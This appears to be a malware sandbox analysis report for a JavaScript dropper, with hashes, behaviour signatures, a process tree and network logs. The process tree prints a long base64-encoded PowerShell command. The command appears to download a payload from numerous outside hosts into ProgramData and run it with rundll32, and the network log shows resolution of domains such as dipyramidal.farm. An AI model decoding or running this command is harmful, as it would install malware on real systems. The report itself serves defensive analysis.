Overview

overview

10

Static

static

1

½�...�/1.js

windows7-x64

10

½�...�/1.js

windows10-2004-x64

10

½�.../10.js

windows7-x64

8

½�.../10.js

windows10-2004-x64

8

½�.../11.js

windows7-x64

3

½�.../11.js

windows10-2004-x64

8

½�.../12.js

windows7-x64

8

½�.../12.js

windows10-2004-x64

8

½�.../13.js

windows7-x64

3

½�.../13.js

windows10-2004-x64

8

½�.../14.js

windows7-x64

3

½�.../14.js

windows10-2004-x64

8

½�.../15.js

windows7-x64

10

½�.../15.js

windows10-2004-x64

10

½�.../16.js

windows7-x64

10

½�.../16.js

windows10-2004-x64

10

½�.../17.js

windows7-x64

3

½�.../17.js

windows10-2004-x64

7

½�.../18.js

windows7-x64

3

½�.../18.js

windows10-2004-x64

7

½�.../19.js

windows7-x64

3

½�.../19.js

windows10-2004-x64

8

½�...�/2.js

windows7-x64

10

½�...�/2.js

windows10-2004-x64

10

½�.../20.js

windows7-x64

10

½�.../20.js

windows10-2004-x64

10

½�.../21.js

windows7-x64

1

½�.../21.js

windows10-2004-x64

1

½�.../22.js

windows7-x64

10

½�.../22.js

windows10-2004-x64

10

½�.../23.js

windows7-x64

3

½�.../23.js

windows10-2004-x64

8

Analysis

  • max time kernel
    115s
  • max time network
    188s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2023, 03:57 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ½ļ/19.js

  • Size

    350KB

  • MD5

    3b4d15827663ca60cc4d5da20f1f0859

  • SHA1

    dc501622741ad802ecd77400c6d7f1ffc3aefe1f

  • SHA256

    cf8bc1bbbf24b2b6024ac626ad92ac3a48f55307d7ac30029242f0c0cb1fa018

  • SHA512

    90a47e5e96b9fc5fed89c113d544dad67eb6e23496128bc9d1e9f343ad58c640995f4a874006f469d1c78d91a6a8224b70c5c7b5e099c34ae9bad464e5afddc0

  • SSDEEP

    6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbiKUE1XHo9TI2wWJyOm03UhW:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygM

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\19.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABDAGkAYwBoAG8AcgBpAHUAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMQBBAEQATQBBAEwAZwBBADIAQQBEAFUAQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE8AUQBBADQAQQBBAD0APQBGAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFkAUQBCADAAQQBIAFEAQQBhAFEAQgB1AEEARwBjAEEAVgBBAEIAbwBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBiAEEAQgBwAEEASABvAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCAHIAQQBHAGsAQQBkAHcAQgBwAEEAQQA9AD0ARgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBaAFEAQgB1AEEARwBRAEEAYwBnAEIAdgBBAEcAawBBAFoAQQBCAGgAQQBHAHcAQQBVAHcAQgAxAEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGIAZwBCAHUAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbgBBAEcAdwBBAGIAdwBCAGkAQQBHAEUAQQBiAEEAQQA9ACIAOwAkAGQAZQBtAG8AcgBhAGcAZQBQAGEAbgBtAG4AZQBzAGkAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAcABBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBkAEEAQgB5AEEARwBFAEEAWgBnAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAGsAQQBiAGcAQgB6AEEASABVAEEAYwBnAEIAbABBAEEAPQA9ACIAOwAkAFUAbgBpAGYAaQBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAGsAQQBjAEEAQgA1AEEASABJAEEAWQBRAEIAdABBAEcAawBBAFoAQQBCAGgAQQBHAHcAQQBMAGcAQgBtAEEARwBFAEEAYwBnAEIAdABBAEMAOABBAFQAUQBCAE0AQQBDADgAQQBVAEEAQgBIAEEARgBZAEEAVQBRAEEAPQBkAEsARABzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AZwBBAHkAQQBDADQAQQBPAEEAQQB4AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEwAZwBBADIAQQBEAGsAQQBMAHcAQgB1AEEARQBvAEEAZABnAEIARgBBAEYAVQBBAEwAdwBCAFkAQQBHAE0AQQBjAFEAQQA9AGQASwBEAHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBNAEEAYgB3AEIAMQBBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBaAFEAQgBtAEEARwBZAEEAYgB3AEIAeQBBAEgAUQBBAEwAZwBCAHoAQQBIAEEAQQBZAFEAQgBqAEEARwBVAEEATAB3AEIANABBAEgAZwBBAFYAZwBBAHYAQQBEAEEAQQBhAEEAQgBOAEEARQBJAEEAZABLAEQAcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGcAQQBNAEEAQQB1AEEARABJAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHcAQQBEAGMAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdgBBAEUAOABBAFoAUQBCAGkAQQBFAEUAQQBMAHcAQgBDAEEARQB3AEEAVgBBAEEAPQBkAEsARABzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AQQBBAHUAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAHcAQgBXAEEARQBzAEEAVQBRAEIAcgBBAEMAOABBAFoAUQBCAFIAQQBIAG8AQQBiAFEAQQB3AEEAQQA9AD0AZABLAEQAcwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQgA0AEEARgBRAEEATwBBAEIAUgBBAEgASQBBAFoAZwBCAEkAQQBEAGMAQQBaAHcAQgBYAEEARQBRAEEAVAB3AEEAPQBkAEsARABzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEAMwBBAEMANABBAE4AZwBBADUAQQBDADgAQQBOAHcAQgA0AEEASABZAEEAYgBnAEIAbwBBAEQARQBBAFcAUQBBAHYAQQBIAGMAQQBaAGcAQgBNAEEARgBJAEEAYQBBAEIAcgBBAEgATQBBAE0AZwBCAFIAQQBIAE0AQQBkAEsARABzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEAMwBBAEMANABBAE0AUQBBADAAQQBDADgAQQBPAEEAQgBDAEEASABvAEEATAB3AEIAVgBBAEQAQQBBAFEAZwBCAFQAQQBEAGMAQQBTAGcAQgBtAEEAQQA9AD0AIgA7ACQAbwBmAGYAaQBjAGUAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAWQBBAE8AQQBBAHUAQQBEAEkAQQBOAEEAQQB3AEEAQwA0AEEATQBRAEEAMQBBAEQAUQBBAEwAZwBBAHkAQQBEAEEAQQBPAFEAQQA9AGsAUQBqAEIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBNAEEAYgB3AEIAdABBAEcAMABBAGQAUQBCAHUAQQBHAGsAQQBkAEEAQgBoAEEASABJAEEAZQBRAEEAdQBBAEcATQBBAGIAZwBBAD0AIgA7ACQAaQBuAHQAZQByAGMAZQBzAHMAaQBvAG4AbQBlAG4AdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQAxAEEAQwA0AEEATwBRAEEAMQBBAEMANABBAE4AUQBBAHkAQQBBAD0APQBkAGwAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQAwAEEAWQBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBFAEkAQQBkAFEAQgBzAEEARwB3AEEAWgBRAEIAMABBAEgATQBBAEwAZwBCAGoAQQBHADQAQQBkAGwAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABVAEEAYgBnAEIAaABBAEgATQBBAGMAdwBCAHAAQQBHAEkAQQBhAFEAQgBzAEEARwBFAEEAZABBAEIAbABBAEcAUQBBAFMAUQBCAHUAQQBIAFEAQQBaAFEAQgB5AEEARwBVAEEAYgBBAEIAbABBAEcATQBBAGQAQQBCAHkAQQBHADgAQQBaAEEAQgBwAEEARwBNAEEATABnAEIAcABBAEcANABBAGEAdwBBAD0AIgA7ACQASgBhAG0AZABhAG4AZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBNAEEAWQBRAEIAegBBAEgATQBBAFkAUQBCAGkAQQBIAFUAQQBiAEEAQgBzAEEASABrAEEATABnAEIAbQBBAEcAawBBAGcAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYgB3AEIAMQBBAEgATQBBAGEAUQBCAHUAQQBHAGMAQQBRAGcAQgAxAEEASABJAEEAZABBAEIAdgBBAEcANABBAGEAUQBCADYAQQBHAFUAQQBMAGcAQgBtAEEARwA4AEEAYwBnAEIAegBBAEcARQBBAGIAQQBCAGwAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABFAG4AbgBlAGEAcwB0AHkAbABhAHIARQBuAGcAbABpAHMAaAB3AG8AbQBlAG4AIABpAG4AIAAkAFUAbgBpAGYAaQBlAHIAIAAtAHMAcABsAGkAdAAgACIAZABLAEQAcwAiACkAIAB7AHQAcgB5ACAAewAkAEQAdQBuAGMAaQBmAHkAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAGsAQQBaAFEAQgBzAEEASABBAEEAWgBRAEIAawBBAEYAYwBBAGIAdwBCAHYAQQBHAHcAQQBhAFEAQgBsAEEASABNAEEATABnAEIAbgBBAEcARQBBAGIAUQBCAGwAQQBBAD0APQBwAEgAUgBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcAawBBAGUAZwBCADYAQQBHAEUAQQBlAGcAQgA2AEEARwBVAEEAYwB3AEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQQA9AHAASABSAGUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAZQBRAEIAMABBAEcAZwBBAGIAUQBCAHAAQQBHAE0AQQBhAFEAQgA2AEEARwBVAEEATABnAEIAbQBBAEcAawBBAGQAQQBBAD0AcABIAFIAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEYAQQBHAGcAQQBjAGcAQgAzAEEARwBFAEEAYgBBAEIAawBBAEcAawBBAGQAQQBCAGwAQQBDADQAQQBZAHcAQgBoAEEARwAwAEEAYwBBAEEAPQAiADsAJABBAG4AYQBsAHkAegBhAGIAaQBsAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwA4AEEAYwB3AEIAaABBAEgASQBBAGEAUQBCADEAQQBHADAAQQBSAEEAQgBsAEEASABZAEEAYgB3AEIAcABBAEcATQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBpAEEARwBrAEEAYQB3AEIAbABBAEEAPQA9AFUAdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBPAEEAQQB1AEEARABJAEEATgBBAEEAeQBBAEMANABBAE8AUQBBADMAQQBDADQAQQBNAFEAQQAyAEEARABjAEEAVQB0AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE8AQQBBAHUAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAdwBBAEMANABBAE4AQQBBADAAQQBBAD0APQBVAHQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBNAEEAYgB3AEIAbABBAEcANABBAGQAUQBCAHkAQQBHAGsAQQBMAGcAQgB1AEEARwBjAEEAYgB3AEEAPQAiADsAJABiAGwAZQBtAGkAcwBoAGUAcwBQAHIAaQB6AGUAZgBpAGcAaAB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAeABBAEMANABBAE4AZwBBADUAQQBDADQAQQBOAEEAQQAwAEEAQwA0AEEATgBnAEEAdwBBAEEAPQA9ACIAOwAkAGYAYQB3AG4AaQBuAGcAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEUAbgBuAGUAYQBzAHQAeQBsAGEAcgBFAG4AZwBsAGkAcwBoAHcAbwBtAGUAbgApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGYAYQB3AG4AaQBuAGcAbAB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAHYAbwBsAGkAdABpAG8AbgBsAGUAcwBzAC4AaQBuAGQAaQB2AGkAcwBpAG0AVABvAHQAYwBoAGsAYQA7ACQAUABvAHMAdABhAGwAbABhAG4AdABvAGkAYwBPAGkAbAB3AGUAbABsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABNAEEATABnAEEAeABBAEQAawBBAE8AUQBBAHUAQQBEAEkAQQBNAHcAQQB5AEEAQwA0AEEATQBRAEEANABBAEQASQBBAHEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwBVAEEAYwBnAEIAegBBAEcAVQBBAGQAUQBCAHoAQQBGAEkAQQBhAEEAQgA1AEEARwAwAEEAYQBRAEIAagBBAEMANABBAGMAQQBCAHkAQQBHADgAQQBiAFEAQgB2AEEAQQA9AD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAGcAQQAwAEEAQwA0AEEATQBnAEEAMABBAEQAUQBBAEwAZwBBAHkAQQBEAFEAQQBPAEEAQQB1AEEARABRAEEATgBBAEEAPQAiADsAJABBAHMAYwBlAG4AcwBpAG8AbgBpAHMAdABIAHkAcABvAHAAcgBvAHQAZQBpAG4AZQBtAGkAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAVQBBAGMAQQBCAGgAQQBHADQAQQBZAFEAQgB6AEEASABRAEEAYwBnAEIAdgBBAEgAQQBBAGEAQQBCAGwAQQBGAEEAQQBjAGcAQgB2AEEASABBAEEAYQBRAEIAdgBBAEcANABBAFkAUQBCADAAQQBHAFUAQQBMAGcAQgBoAEEASABJAEEAWQB3AEIAbwBBAEcAawBBACIAOwAkAE0AdQBnAGkAZQBuAGMAZQBVAHAAcgBpAHMAaQBuAGcAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGQAZwBCAHAAQQBHAFEAQQBhAFEAQgBoAEEARQBJAEEAYgB3AEIAdgBBAEcASQBBAGEAUQBCAHoAQQBHAGcAQQBiAGcAQgBsAEEASABNAEEAYwB3AEEAdQBBAEcAMABBAGUAQQBBAD0ARABtAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAUQBBAEwAZwBBADAAQQBEAFkAQQBMAGcAQQAwAEEARABrAEEATABnAEEANQBBAEQAZwBBAEQAbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAFEAQQB1AEEARABFAEEATgBBAEEAMQBBAEMANABBAE0AZwBBAHkAQQBEAGMAQQBMAGcAQQB5AEEARABRAEEATQBBAEEAPQBEAG0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBUAEEARwBFAEEAWQB3AEIAbwBBAEcAVQBBAGIAUQBCAGsAQQBHADgAQQBiAFEAQgBUAEEASABVAEEAYwBBAEIAdwBBAEcAdwBBAFoAUQBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARwBFAEEAYgBBAEEAdQBBAEgAYwBBAGEAUQBCAHUAQQBBAD0APQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXAB2AG8AbABpAHQAaQBvAG4AbABlAHMAcwAuAGkAbgBkAGkAdgBpAHMAaQBtAFQAbwB0AGMAaABrAGEAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAMQAyADEAMwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAZABnAEIAdgBBAEcAdwBBAGEAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEARwB3AEEAWgBRAEIAegBBAEgATQBBAEwAZwBCAHAAQQBHADQAQQBaAEEAQgBwAEEASABZAEEAYQBRAEIAegBBAEcAawBBAGIAUQBCAFUAQQBHADgAQQBkAEEAQgBqAEEARwBnAEEAYQB3AEIAaABBAEMAdwBBAGIAUQBCADEAQQBIAE0AQQBkAEEAQQA3AEEAQQA9AD0AIgA7ACQARgBhAGkAbABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBAHoAQQBDADQAQQBNAGcAQQAwAEEARABVAEEATABnAEEAeABBAEQAYwBBAE4AQQBBAHUAQQBEAGsAQQBPAFEAQQA9AEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBBAEEANQBBAEMANABBAE4AQQBBADAAQQBDADQAQQBNAGcAQQB3AEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABJAEEATQBnAEEAMwBBAEEAPQA9AEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAYwBnAEIAdgBBAEgAQQBBAGMAZwBCAGwAQQBIAFEAQQBiAHcAQgB5AEEARwBrAEEAWQBRAEIAdQBBAEUATQBBAGUAUQBCADAAQQBHADgAQQBkAGcAQgBwAEEASABJAEEAYQBRAEIAdQBBAEMANABBAFkAdwBCAHMAQQBIAFUAQQBZAGcAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3892

Network

  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
  • flag-us
    DNS
    74.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    74.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    254.20.238.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.20.238.8.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    9.228.82.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    9.228.82.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    43.58.199.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.58.199.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    158.240.127.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    158.240.127.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    dipyramidal.farm
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    dipyramidal.farm
    IN A
    Response
  • flag-us
    DNS
    29.81.57.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    29.81.57.23.in-addr.arpa
    IN PTR
    Response
    29.81.57.23.in-addr.arpa
    IN PTR
    a23-57-81-29deploystaticakamaitechnologiescom
  • flag-us
    DNS
    countereffort.space
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    countereffort.space
    IN A
    Response
  • flag-us
    DNS
    146.78.124.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    146.78.124.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    18.31.95.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.31.95.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    tse1.mm.bing.net
    Remote address:
    8.8.8.8:53
    Request
    tse1.mm.bing.net
    IN A
    Response
    tse1.mm.bing.net
    IN CNAME
    mm-mm.bing.net.trafficmanager.net
    mm-mm.bing.net.trafficmanager.net
    IN CNAME
    dual-a-0001.a-msedge.net
    dual-a-0001.a-msedge.net
    IN A
    204.79.197.200
    dual-a-0001.a-msedge.net
    IN A
    13.107.21.200
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301470_10T4S66MXCAC1M054&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301470_10T4S66MXCAC1M054&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 396701
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: A27C9A89F86E4251BF7996AC60C0059C Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:37Z
    date: Sat, 14 Oct 2023 04:00:37 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301453_1HOUYPI9NYZFL407Y&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301453_1HOUYPI9NYZFL407Y&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 174745
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 78D3A2A377B34DECA696C4F81B17606E Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:37Z
    date: Sat, 14 Oct 2023 04:00:37 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301020_14A3TVXX0O1AF1LY0&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301020_14A3TVXX0O1AF1LY0&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 233452
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
